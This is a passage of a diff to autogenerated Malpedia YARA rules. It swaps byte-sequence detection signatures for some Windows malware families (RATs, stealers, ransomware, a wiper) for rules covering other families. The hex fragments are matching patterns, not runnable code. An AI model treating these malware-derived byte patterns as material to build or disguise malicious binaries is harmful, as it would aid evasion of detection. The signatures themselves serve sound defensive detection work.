6bd13c 0fb74df6 } - $sequence_19 = { 8b442454 50 ff15???????? b801000000 } - $sequence_20 = { 488d91f00f0000 e8???????? 41bb12000000 488d158b760000 } - $sequence_21 = { 51 8d9508f8ffff 52 ff15???????? } - $sequence_22 = { 83c20f 8955dc 8b55ec 81c2e80e0000 52 } - $sequence_23 = { 41ffcb 4183cbf0 41ffc3 488d9530010000 b904010000 44891d???????? } - $sequence_24 = { 895c242c ff15???????? b910000000 33c0 } - $sequence_25 = { 2b8534feffff 3dd0070000 7307 33c0 e9???????? 8d8d5cfeffff 51 } - $sequence_26 = { 57 e8???????? 83c40c 85c0 7506 8d4707 50 } - $sequence_27 = { e8???????? 83c408 c78424a804000000000000 c78424a404000009303b00 8d8424a4040000 6808040000 eb80 } - $sequence_28 = { c785a4fbffff00000000 682c010000 ff15???????? c705????????00000000 68???????? ff15???????? } - $sequence_29 = { ff15???????? 4885c0 0f85a7010000 448d4870 448d402e 488d15ce520000 } - $sequence_30 = { 488d55c0 488bcb ff15???????? 4885c0 0f85df020000 488d55e0 488bcb } - $sequence_31 = { 59 eb33 8b7dd0 8b45e4 8b4de8 8b0485c8887100 } - $sequence_32 = { 57 c685b8feffff00 6803010000 6a00 8d85b9feffff 50 } - $sequence_33 = { e8???????? a1???????? 0f1005???????? 898584fbffff 66a1???????? } - $sequence_34 = { c64424210d e8???????? 8b4c2410 8b542414 8b442418 890d???????? } - $sequence_35 = { c6442421cd c64424229c c64424231d c644242436 } - $sequence_36 = { 57 8db8607d0110 57 ff15???????? ff0d???????? 83ef18 } - $sequence_37 = { c644241bc4 c644241c90 c644241d9c c644241e46 c644241f7b c64424209d } - $sequence_38 = { 4803d1 ffe2 4c8b05???????? 498d5106 488bcf } - $sequence_39 = { ff15???????? 488d15a6f20000 488d4c2420 488905???????? } - $sequence_40 = { 33c0 ffc2 83fa0a 7ce4 b80b000000 c3 } - $sequence_41 = { 83c410 8d4c2460 8d542408 51 683f000f00 6a00 } - $sequence_42 = { c3 4889b424b0450000 4889bc24b8450000 4c89ac24c0450000 } - $sequence_43 = { 83c40c 8d85bcfbffff 50 6804010000 ff15???????? 8d85bcfeffff 50 } - $sequence_44 = { 57 8b3d???????? 8bf1 68???????? 89b55cf2ffff 660fd645f0 8945f8 } + $sequence_0 = { 83fb12 741e 83fb03 7419 } + $sequence_1 = { 8b4004 c74410e8a0bb4200 8b42e8 8b4804 8d41e8 894411e4 } + $sequence_2 = { 750b 8b0d???????? e8???????? e8???????? 83ec18 } + $sequence_3 = { 8d8d48ffffff 68???????? e8???????? 85c0 8d8d30ffffff 8b8530ffffff } + $sequence_4 = { 33f6 3bc8 740c 8b0cb5f8344200 46 } + $sequence_5 = { e8???????? 83ec14 c645fc02 8bcc 8bd0 51 } + $sequence_6 = { c705????????01000000 c705????????01000000 6a04 58 6bc000 8b4d08 898894004300 } + $sequence_7 = { eb0f 8ad3 8d8d40ffffff e8???????? 8ad3 } + $sequence_8 = { 1bc0 83c801 85c0 745b e8???????? } + $sequence_9 = { 8d8d48ffffff c78548ffffffdc334200 e8???????? 83ec08 c745fc02000000 } condition: - 7 of them and filesize < 860160 + 7 of them and filesize < 647168 } -rule MALPEDIA_Win_Magic_Rat_Auto : FILE +rule MALPEDIA_Win_Soul_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "982c6058-0233-5962-b1e1-ee61f14d1ffc" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magic_rat_auto.yar#L1-L109" + id = "e9dd6236-3340-50b4-b5d0-39eff17887cc" + date = "2024-10-31" + modified = "2024-11-11" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soul_auto.yar#L1-L235" license_url = "N/A" - logic_hash = "f70d7be02c5b390e3f3dfd5324abdc86d2919bb20841095d121cf5bf228f41f4" - score = 60 - quality = 45 + logic_hash = "006ca2db66b727a223c7e1c69f1643e1ec1c7be66a86b7b95f1d15a0130986f8" + score = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20241030" + malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" + malpedia_version = "20241030" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5e 5f 5d c3 660f28c8 f20f5c0d???????? } - $sequence_1 = { 89c3 e8???????? 660fefc0 f20f2ac3 } - $sequence_2 = { 660f28d8 f20f5c1d???????? f20f2cc3 660fefdb } - $sequence_3 = { 894664 8b4368 894668 8b436c } - $sequence_4 = { c1e008 29d0 c1f810 84c0 } - $sequence_5 = { 8b12 83fa01 740a 83fa02 7405 83fa03 } - $sequence_6 = { 0fb6442425 0fb6542427 c1e018 c1e210 09d0 } - $sequence_7 = { 8b02 83c001 83f801 0f8721010000 } - $sequence_8 = { be02000000 e8???????? 84c0 75d5 } - $sequence_9 = { 7410 66c1e802 0fb7c0 69d07b140000 } + $sequence_0 = { d3e2 8515???????? 7405 e8???????? } + $sequence_1 = { 40 803800 75f8 c745fc00000000 90 56 ff15???????? } + $sequence_2 = { 57 8bf8 be???????? 743a 8da42400000000 } + $sequence_3 = { ff25???????? 48895c2408 4889742410 57 4883ec30 } + $sequence_4 = { 7cde c745fc00000000 8da42400000000 8b4df8 51 57 } + $sequence_5 = { 741f 8da42400000000 8b03 57 50 } + $sequence_6 = { 85f6 0f84a4000000 803f00 8bc7 } + $sequence_7 = { 85f6 7506 837dfc04 7cda } + $sequence_8 = { 7409 90 fe08 40 803800 } + $sequence_9 = { 83c404 33f6 897304 8b4304 } + $sequence_10 = { eb22 e8???????? 488b4c2420 ffd0 90 48837c245008 } + $sequence_11 = { c744243a66003600 66448974243e 488d1d4ad10100 488bc3 488d7c2448 482bfb 0fb710 } + $sequence_12 = { ffc7 4883c202 413bf8 72db 8bce 85f6 743c } + $sequence_13 = { 7507 c743089a020000 85c0 0f84be010000 83f802 0f84b5010000 83f801 } + $sequence_14 = { 741a 488d05f9ef0000 483bf8 740e 833f00 } + $sequence_15 = { 4c8bf1 b801000000 85ff 7404 8932 eb06 8bf8 } + $sequence_16 = { c745c047006c00 c745c662006100 c745ca6c005c00 668945ec c745ce43006100 c745d468006500 } + $sequence_17 = { 442bda 4183fb0f 731e 0fb606 418bcb 4883c602 } + $sequence_18 = { e8???????? 41894620 458bef 418bff 41c74608373f0000 eb05 } + $sequence_19 = { 488b4593 89442448 8bc8 e8???????? 488bf0 33c0 8945c7 } + $sequence_20 = { 4883eb02 4983c9ff ebae 488d45ef 4c8b4507 4983f808 490f43c4 } + $sequence_21 = { eb2e 4c8b542418 33ed 0f1f840000000000 420fb60411 48ffc1 } + $sequence_22 = { 488d1dc7850000 488d3de0850000 eb0e 488b03 4885c0 7402 } condition: - 7 of them and filesize < 41843712 + 7 of them and filesize < 1400832 } -rule MALPEDIA_Win_Contopee_Auto : FILE +rule MALPEDIA_Win_Cobint_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "271fdd0d-6160-55c0-9abb-0c6806deb383" + id = "eb358b61-4ba2-55a7-8a20-31d71cd4f25b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.contopee_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobint_auto.yar#L1-L232" license_url = "N/A" - logic_hash = "0ddd8fa512c666b7cb8e2d0e6704c228e8798333540020ddb32d384a50fcb44c" + logic_hash = "a45731be84e3fdba6ba2e9fa2e98a6d98c16a2eb8dae8c7026872152dd218ff0" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -114396,32 +114233,46 @@ rule MALPEDIA_Win_Contopee_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b35???????? 8d4c2414 6a5c 51 } - $sequence_1 = { 8d4c2414 6a5c 51 ffd6 83c410 85c0 7411 } - $sequence_2 = { 84c0 752f a0???????? 84c0 7409 } - $sequence_3 = { c1ea18 33c3 8b1c9530ea0010 33c3 8b1c8d30f60010 33c3 } - $sequence_4 = { c3 68b80b0000 ff15???????? e8???????? 8bd8 85db 0f8514010000 } - $sequence_5 = { c1e807 33d2 8a9094130110 8bc2 66ff848688090000 8b869c160000 8b96a0160000 } - $sequence_6 = { 668b88780a0110 898a8c000000 33c9 668b887c0a0110 898a90000000 33c9 668b887e0a0110 } - $sequence_7 = { 5b 81c418010000 c3 56 68???????? 6a00 } - $sequence_8 = { 7563 8b4c2410 8d442400 56 50 8d1409 8b4c2414 } - $sequence_9 = { b980000000 33c0 8d7c241c 6a1e } + $sequence_0 = { 83c418 a1???????? 03c9 891cc8 8b0d???????? a1???????? } + $sequence_1 = { 891cc8 8b0d???????? a1???????? 03c9 8974c804 8b0d???????? } + $sequence_2 = { c745f404000000 50 8d4508 50 6805000020 56 } + $sequence_3 = { 50 8d45f4 50 8d45ec 50 6813000020 ff75f0 } + $sequence_4 = { 57 6a65 eb31 85db 743a } + $sequence_5 = { e8???????? 83c410 eb60 6a01 8d450f } + $sequence_6 = { 57 bf00020000 57 e8???????? 57 6a00 } + $sequence_7 = { 83f820 7cf3 eb07 8bf0 c1e604 03f2 57 } + $sequence_8 = { 740d 8b5508 0355f0 8a45ec } + $sequence_9 = { 31b7807c30ae 807c909090 90 bdfd807c90 } + $sequence_10 = { 8bcb 897db8 e8???????? 8bf0 } + $sequence_11 = { 81ffea968891 740a 33c0 8b12 85d2 } + $sequence_12 = { ffd6 eb03 8b75e4 ff75d8 ffd6 } + $sequence_13 = { 395318 763c 8b3c90 33c0 03fe } + $sequence_14 = { 90 90 90 e10b } + $sequence_15 = { b800a80000 2bc7 50 56 53 ff55f8 85c0 } + $sequence_16 = { 8802 eb0b 8b4d08 034df0 } + $sequence_17 = { bffc807c28 1a807c170e81 7cd7 9b 807c909090 90 90 } + $sequence_18 = { 749b 807ce19a80 7c90 90 } + $sequence_19 = { 90 e10b 96 7c90 90 } + $sequence_20 = { bab1c50790 8bf0 33ff e8???????? 8d4dec 8945f8 } + $sequence_21 = { ffd0 85c0 0f8406010000 8b4de0 ba6a62f095 } + $sequence_22 = { e8???????? 8945f8 8d45c4 50 } + $sequence_23 = { e8???????? 58 83c005 c3 31b7807c30ae } condition: - 7 of them and filesize < 180224 + 7 of them and filesize < 65536 } -rule MALPEDIA_Win_Grey_Energy_Auto : FILE +rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "286c9a55-9cf0-55bb-80e0-2e0f311ee2a1" + id = "91dde92f-87a2-5234-b407-3d3ed8c90b2f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grey_energy_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_decryptor_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "b914dfed1e2f2f24a40105da213346dd87b255cf1b7c608a5613862d55be27f8" + logic_hash = "adead49efcae5adc3a8d7fcf047561cadce25b6fc8d50f573c5cccce259fe79f" score = 75 quality = 75 tags = "FILE" @@ -114435,38 +114286,32 @@ rule MALPEDIA_Win_Grey_Energy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 53 53 6800000008 57 } - $sequence_1 = { 6800000008 57 53 53 } - $sequence_2 = { 68???????? 8945cc e8???????? 68???????? 8945d4 } - $sequence_3 = { 8945d4 e8???????? 68???????? 8945d0 } - $sequence_4 = { 53 ff15???????? 8b75f8 85f6 } - $sequence_5 = { 8b45f8 0345ec 8808 eb10 } - $sequence_6 = { 8b45ec 8b55f8 66890c42 eb14 8b45ec 8b4df8 8b55f0 } - $sequence_7 = { 7507 33c0 e9???????? c745f004000000 } - $sequence_8 = { 8b4df8 8b55f0 8b7508 668b1456 66891441 } - $sequence_9 = { 8b4d08 0fb70c41 8b45f0 33d2 } - $sequence_10 = { 6a40 ff15???????? 8945f8 837df800 7507 33c0 } - $sequence_11 = { 8b4508 0345f0 0fbe08 8b45f0 } - $sequence_12 = { c60100 41 48 75f9 ff75f8 } - $sequence_13 = { ff5108 56 e9???????? 53 8d45cc 50 8d45c8 } - $sequence_14 = { 83ec18 57 33ff 897dfc 397d0c 0f86a5010000 } - $sequence_15 = { 51 e8???????? 85c0 0f84be000000 } + $sequence_0 = { 03049500c14100 eb05 b8???????? f6400420 } + $sequence_1 = { 7202 8b1b 837dec08 8b4dd8 7303 8d4dd8 03c0 } + $sequence_2 = { 395ddc 7413 837de008 8b45cc 7303 } + $sequence_3 = { 8bf7 83e61f c1e606 03348500c14100 } + $sequence_4 = { 8b4dfa 33c0 4a 49 668945e8 668945ea 6a27 } + $sequence_5 = { 50 33c9 8d7d08 8975f0 e8???????? 83cbff } + $sequence_6 = { 6830010000 e8???????? 33db 59 59 3bc3 7509 } + $sequence_7 = { e8???????? 8b5e04 8b0e 8bc3 2bc1 99 f7ff } + $sequence_8 = { 8b45ec 8b08 890b 8938 397df0 740a 57 } + $sequence_9 = { e8???????? 6a01 33ff 8d75d8 e8???????? 8b450c 8b4df4 } condition: - 7 of them and filesize < 303104 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE +rule MALPEDIA_Win_Isaacwiper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f7453706-1ba2-5bd7-a0a7-c5c6de296895" + id = "a82e3ec4-c6b5-5b3d-9ab0-3064ec3e836c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snowflake_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snowflake_stealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isaacwiper_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "c1c0789100e95962556dcffebd1be08f13443b80c1f6c738a94979e3119de2a7" + logic_hash = "8d7d093defd2064582c177175fbd158891b23ac1a28e0ebb5ab5f45a7b73a475" score = 75 quality = 75 tags = "FILE" @@ -114480,32 +114325,32 @@ rule MALPEDIA_Win_Snowflake_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff750c 6a5c 53 e8???????? 8b6c2448 56 ff7504 } - $sequence_1 = { ff742428 e8???????? 83c414 eb88 3dab000000 7530 837c243400 } - $sequence_2 = { ff3408 ff742444 e8???????? 8b7c2440 83c414 89442410 85c0 } - $sequence_3 = { e8???????? 59 59 8b4c243c 85c9 7409 51 } - $sequence_4 = { ff7640 e8???????? 83c42c 85c0 7533 6a08 8d442418 } - $sequence_5 = { ff742444 ff742440 50 e8???????? 8bf0 83c414 85f6 } - $sequence_6 = { c744240c01000000 eb08 3c2b 0f8593000000 46 8a0e 0fb6c1 } - $sequence_7 = { e8???????? 59 59 85c0 7507 8b4510 2138 } - $sequence_8 = { c744240800000000 29f1 89c6 1b7c2414 f7de c1fe1f 01f1 } - $sequence_9 = { ff743234 ff7524 ff742428 53 e8???????? 8b542428 83c414 } + $sequence_0 = { 3bc8 737f 2bf9 8b4c2430 3bcf 0f8245020000 } + $sequence_1 = { 03c2 3bc3 8b5df4 72d5 eb37 83f802 } + $sequence_2 = { 83e03f c1f906 6bf038 03348de8670310 837e18ff 740c 837e18fe } + $sequence_3 = { 83c408 3bc3 8d48ff 0f46c1 014658 837e5815 7368 } + $sequence_4 = { 8b03 51 c744243007000000 8bcb 7445 ff501c 8d442430 } + $sequence_5 = { 50 c7460800000000 c7461000000000 c7461400000000 e8???????? 83c404 } + $sequence_6 = { 3914c598c00210 7408 40 83f81d } + $sequence_7 = { e8???????? 8ac8 83c404 46 83c768 84c9 75e4 } + $sequence_8 = { 8b4d0c 83d900 8945e0 894ddc c745f800000000 897dd8 895df4 } + $sequence_9 = { 69c9dfb00899 33ca 338c8634060000 890c86 40 3de3000000 72cf } condition: - 7 of them and filesize < 6196224 + 7 of them and filesize < 467968 } -rule MALPEDIA_Win_Gibberish_Auto : FILE +rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d0f0a81c-c436-554f-886e-c05189a90753" + id = "431aac36-5429-5cb6-a22f-6d22f4b46964" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gibberish" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gibberish_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dinodas_rat_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "ec3ea314ac6eedd0a24b154c568d1f6c449d7a6dabe6072547ddc0bc708507da" + logic_hash = "f12d1a523704ecc621dca1f8d26285a0bb3fbc82969aec41d1e0b2ffd38a67b5" score = 75 quality = 75 tags = "FILE" @@ -114519,32 +114364,32 @@ rule MALPEDIA_Win_Gibberish_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 894dec 8975e8 668907 894dfc 8bce c745f001000000 8d5102 } - $sequence_1 = { 8b74242c 8bd0 8944245c 8bce 8bc6 c1c90b c1c007 } - $sequence_2 = { 68???????? ff15???????? 85c0 7424 56 56 8d85fcfffdff } - $sequence_3 = { 8b0ccdf2a94700 0fb680c8a94500 330cc5f1a94700 8bc2 c1e818 0fb680c8a94500 330cc5f4a94700 } - $sequence_4 = { 330a 85d2 894b04 8d4a04 0f44ca } - $sequence_5 = { ffd3 8b45d8 8d3446 33c0 83c602 663906 75c3 } - $sequence_6 = { f30f7e05???????? 0f114c2420 0f284c2450 660f3840c8 0f10442420 0f11542470 } - $sequence_7 = { 7535 017524 297528 2bd6 8b5c242c 5f } - $sequence_8 = { 6af5 eb03 50 6af6 ff15???????? 8b04bd80b64700 } - $sequence_9 = { 33c8 8b44241c 33c6 23442414 33c6 03c8 8b442474 } + $sequence_0 = { 8bf0 33c9 83c404 8975ec 3bf1 745c 8b4704 } + $sequence_1 = { ffd2 8b9d94fdffff 8d8da0fdffff 51 53 ff15???????? } + $sequence_2 = { c745a80f000000 e8???????? c645fc01 a1???????? 6aff 50 ff15???????? } + $sequence_3 = { 8d45b4 e9???????? 8d45a8 e9???????? 8d75d4 e9???????? 8d75b8 } + $sequence_4 = { 6a00 6a01 ff15???????? 8bf8 85ff 741a 6a00 } + $sequence_5 = { 8d4d9c 68???????? 51 e8???????? 83c40c 397594 720c } + $sequence_6 = { 8bce 8bf3 83f804 7217 8d4900 8b16 3b11 } + $sequence_7 = { 8b4204 ffd0 8b4d0c 51 e8???????? 83c404 8937 } + $sequence_8 = { 83e810 e8???????? 8d7010 8975c4 c645fc07 8b4714 } + $sequence_9 = { 8d75b8 e9???????? 8d759c e9???????? 8db578ffffff e9???????? 8db548ffffff } condition: - 7 of them and filesize < 1068032 + 7 of them and filesize < 638976 } -rule MALPEDIA_Win_Sage_Ransom_Auto : FILE +rule MALPEDIA_Win_Rtm_Locker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ee390467-2b1f-5dff-a025-ffcdbd989eda" + id = "c193efe6-e068-5098-a7d3-9f677c141047" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sage_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sage_ransom_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rtm_locker_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "f697fb2bbef92176cedab9ef91a434357e32fdc073b94b3d51cf50581ce561f1" + logic_hash = "2e6ca0dcb3b2e786645310d69deee5d15ea048d4739b56fdd6e98df960bfefa8" score = 75 quality = 75 tags = "FILE" @@ -114558,38 +114403,32 @@ rule MALPEDIA_Win_Sage_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 01442410 ff15???????? 8bc8 8b442410 2b4c2438 } - $sequence_1 = { 755b 6683780200 7554 6aff ff15???????? 85c0 } - $sequence_2 = { c1e910 0fb74c4c18 c1e010 0bc8 8bd1 } - $sequence_3 = { 837c241000 750b 837c241400 0f84d8000000 8b442410 be00000200 3bc6 } - $sequence_4 = { bbfdffffff 8d4c240c 51 e8???????? 8d54241c 52 } - $sequence_5 = { 56 57 6af5 ff15???????? 8b15???????? 83c204 52 } - $sequence_6 = { 6a41 56 52 e8???????? 56 } - $sequence_7 = { 8bf1 33d2 3bf7 732a 8a06 } - $sequence_8 = { 014110 8b4314 014114 8b4318 } - $sequence_9 = { 014108 8b430c 01410c 8b4310 } - $sequence_10 = { 01410c 8b4310 014110 8b4314 } - $sequence_11 = { 891c24 89442404 e8???????? 8d964ba20000 c744240879020000 } - $sequence_12 = { 014114 8b4318 014118 8b431c } - $sequence_13 = { 013c13 83c102 46 ebd3 } - $sequence_14 = { 0101 8b4304 014104 8b4308 014108 } - $sequence_15 = { 0119 117104 83c110 83c210 } + $sequence_0 = { 50 ffd7 8b44241c 8d542410 52 8d542424 c744241400000000 } + $sequence_1 = { 8bbd38ffffff 33d0 c1c210 03ca 33f1 c1c60c } + $sequence_2 = { 0f29a424b0000000 660fd4c1 0f28e2 0f29b42410010000 660f62e0 660f6ad0 } + $sequence_3 = { 8d85e8feffff 50 6a00 ff15???????? 85c0 7440 68???????? } + $sequence_4 = { 8d8550fcffff 50 8d95c8feffff 8d8d68ffffff e8???????? 83c404 8d8d68ffffff } + $sequence_5 = { 0f1195ecfdffff 0f119dfcfdffff 0f11a50cfeffff 0f11851cfeffff 660f1f440000 8b840d2cfeffff 01840d64fcffff } + $sequence_6 = { 57 660f1f440000 3a1a 7403 42 } + $sequence_7 = { 0f108560feffff 0f118570fdffff 0f108570feffff 0f118580fdffff e8???????? 8d8d30feffff e8???????? } + $sequence_8 = { 894590 33fe c1c708 8d040f 8945ec 33c2 } + $sequence_9 = { 8b4dec 48 897dfc 897db8 894508 85c0 0f8f3ffeffff } condition: - 7 of them and filesize < 335872 + 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Sphijacker_Auto : FILE +rule MALPEDIA_Win_Cameleon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "077eac03-f3ac-5e2b-a96b-7f5530f41d45" + id = "6ba1f947-7c11-5a6f-94b1-6f9ed842ec2b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sphijacker_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cameleon_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "99b2b9f410e1eea51f0fdbb2a2e5758813b393a388e6990a38118e63ac79cf3a" + logic_hash = "5126d39a589ca456705b9580398901c26a625f6b65ede04aeb5951f2fdaf02c8" score = 75 quality = 75 tags = "FILE" @@ -114603,32 +114442,32 @@ rule MALPEDIA_Win_Sphijacker_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33db 488d154de60100 4533c0 488d0c9b 488d0cca baa00f0000 e8???????? } - $sequence_1 = { 4885c9 741c 488d05208b0000 483bc8 7410 b801000000 f00fc1815c010000 } - $sequence_2 = { 488d159ee00100 ff15???????? 488b4d20 488d4510 c744242804000000 } - $sequence_3 = { 488d8d16120000 0f1005???????? 898510120000 33d2 0fb705???????? 41b8f2010000 } - $sequence_4 = { 6666660f1f840000000000 803099 488d4004 4883e901 75f3 } - $sequence_5 = { 488d4510 c744242804000000 488d158fdb0100 41b904000000 4889442420 } - $sequence_6 = { 4533db 488d3d6b340000 4d85c9 488bc2 4c8be2 } - $sequence_7 = { 488b4d18 4c8d4520 488d158ee30100 ff15???????? 488b4d20 } - $sequence_8 = { 8b442430 8bc8 cd29 488d0d765e0100 e8???????? 488b442428 } - $sequence_9 = { 57 4883ec20 418bf0 4c8d0d2b320100 8bda 4c8d051a320100 488bf9 } + $sequence_0 = { 8b7de0 85f6 0f8567ffffff 83ff20 0f83a8000000 83c8ff 2bc7 } + $sequence_1 = { 3975d4 7347 52 56 8d4dc0 } + $sequence_2 = { c3 e8???????? 85c0 0f843aa70000 c3 833d????????ff 7503 } + $sequence_3 = { c745ecd88e0210 894df8 8945fc 64a100000000 8945e8 } + $sequence_4 = { 83f924 7d10 8a80f8c70410 8807 47 } + $sequence_5 = { 8b45b8 8b11 03c6 50 56 8d450c 50 } + $sequence_6 = { 253bffffff 33f6 3bc8 740c 8b0cb584bf0410 46 85c9 } + $sequence_7 = { 7405 e8???????? a900000080 751f d9fa 833d????????00 0f85037f0000 } + $sequence_8 = { 2bc1 83f808 0f86bc000000 8d7108 83fefe } + $sequence_9 = { e8???????? 8d8d04ffffff e8???????? 8d4d8c e8???????? 8d4da4 } condition: - 7 of them and filesize < 808960 + 7 of them and filesize < 824320 } -rule MALPEDIA_Win_Treasurehunter_Auto : FILE +rule MALPEDIA_Win_Blackshades_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e821ddca-c116-541d-9bd5-f7649288cdd5" + id = "be0044cc-ffdd-5ce8-9261-6f20deb49ec5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.treasurehunter_auto.yar#L1-L106" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackshades_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "102e6e7f9d869ce1a995b96c3cd12e8dc18894c29a700642a08bd98f281dfbdd" + logic_hash = "5be1fd8de19e4a88da957f4843427153e72a697b528878c27f4d0e3032429536" score = 75 quality = 75 tags = "FILE" @@ -114642,30 +114481,32 @@ rule MALPEDIA_Win_Treasurehunter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 56 57 6a01 6a00 e8???????? } - $sequence_1 = { 6800000020 6a2f 68???????? 57 ff15???????? 85c0 } - $sequence_2 = { 8a0e 46 84c9 75f9 2bf0 e8???????? } - $sequence_3 = { 56 57 8bf9 8bca e8???????? 8b7508 } - $sequence_4 = { 53 56 8b35???????? 8bd9 8b4d08 57 8955fc } - $sequence_5 = { 8bf1 85d2 7e0b 4a e8???????? 0fafc6 5e } - $sequence_6 = { 8903 ff15???????? 8b4dfc 57 } - $sequence_7 = { 6800040000 8d85fcfbffff 50 8d85fcf7ffff 50 e8???????? } + $sequence_0 = { ff9e0460ff34 6c 60 ff0a } + $sequence_1 = { 08fe f5 0200 0000 6c 70ff 9e } + $sequence_2 = { 70ff f30004eb f4 02eb fb cf } + $sequence_3 = { 351cff1e55 2c00 0d6c04ff1b c700fb301cc9 } + $sequence_4 = { 58 2f 60 ff6c74ff } + $sequence_5 = { 2a23 60 ff1b 0d002a460c fff5 0200 0000 } + $sequence_6 = { 6c ff4a71 70ff 00746c78 ff1b } + $sequence_7 = { 6c ff4a71 70ff 00746c78 ff1b 4a } + $sequence_8 = { ff6c48ff 6c 4c ff40fc } + $sequence_9 = { ff1b 0d002a460c fff5 0200 0000 6c } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 999424 } -rule MALPEDIA_Win_T34Loader_Auto : FILE +rule MALPEDIA_Win_Homefry_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = 